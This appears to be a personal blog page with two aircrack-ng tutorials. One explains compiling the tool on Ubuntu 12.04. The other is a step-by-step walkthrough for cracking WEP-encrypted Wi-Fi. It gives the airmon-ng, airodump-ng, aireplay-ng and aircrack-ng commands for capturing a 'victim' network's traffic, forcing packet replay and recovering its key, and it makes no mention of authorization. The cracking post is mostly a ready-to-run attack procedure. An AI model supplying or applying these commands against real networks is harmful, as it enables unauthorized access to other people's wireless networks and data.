Showing posts with label aircrack-ng. Show all posts
Showing posts with label aircrack-ng. Show all posts

Apr 27, 2012

[Tutorial] Installing Aircrack in ubuntu 12.04 Precise Pangolin

So.. aircrack is not found in default repository of Ubuntu anymore.
You want it, then you need to compile and install it from the source itself. Download the source from here.

Save it in some less messy folder, say Public.
If you just try to extract and compile it, you will get a good series of errors:




To overcome these errors, follow the steps below:

1) Install build-essential and libssl

apt-get install build-essential libssl-dev

2) Extract the aircrack source if it hasnt already been extracted:

tar -xzf aircrack-ng-1.1.tar.gz

3) cd to it, and edit a file called common.mak



cd aircrack-ng-1.1


open common.mak with a text editor you are comfortable with.
Find this line:
 CFLAGS          ?= -g -W -Wall -Werror -O3
and remove -Werror only,
Save and exit. 


4) Now compile and install

make && make install

You are done.

Well, this was not totally my idea, I also read some tutorials before to make this one. So original credits go to all the writers whose tutorial I have read.

Feel free to comment if needed. :)   

Dec 4, 2011

[Tutorial] Cracking WEP Encrypted Networks.

Not much details included here. If you want to go to depth on it then please visit the official Aircrack-ng page, here.

First find out whether your card is supported or not.
If yes then follow with following steps.
Become root and type these on the first tab/terminal.
***NOTE: The bold words are to be replaced with the necessary info***

airmon-ng start wlan0
-- To put your wireless card into monitor mode for sniffing datas.

airodump-ng mon0
-- To scan for wireless networks available in your area. Find your victim with WEP encryption.

airodump-ng -w filename -c channel_number --bssid victim's_mac mon0
-- To collect the data from your victim network. Replace the bold one's with necessary info shown as result of the second command.

aireplay-ng -1 0 -a victim's_mac -e victim's_essid  mon0 [ In new tab/terminal]
-- To fake associate with the victim AP.

aireplay-ng -3 -b victim's_mac -e victim's_essid mon0
-- To ask the victim AP to generate more packets/replay packets.

Keep looking on the airodump-ng tab/terminal. Once the data/packets reach 5000 you can start cracking. For this open a new tab/terminal and type the following command:

aircrack-ng --bssid victim's_mac  filename

If 5000 was enough then it will vomit the key instantly, otherwise you may need to wait according the key strength.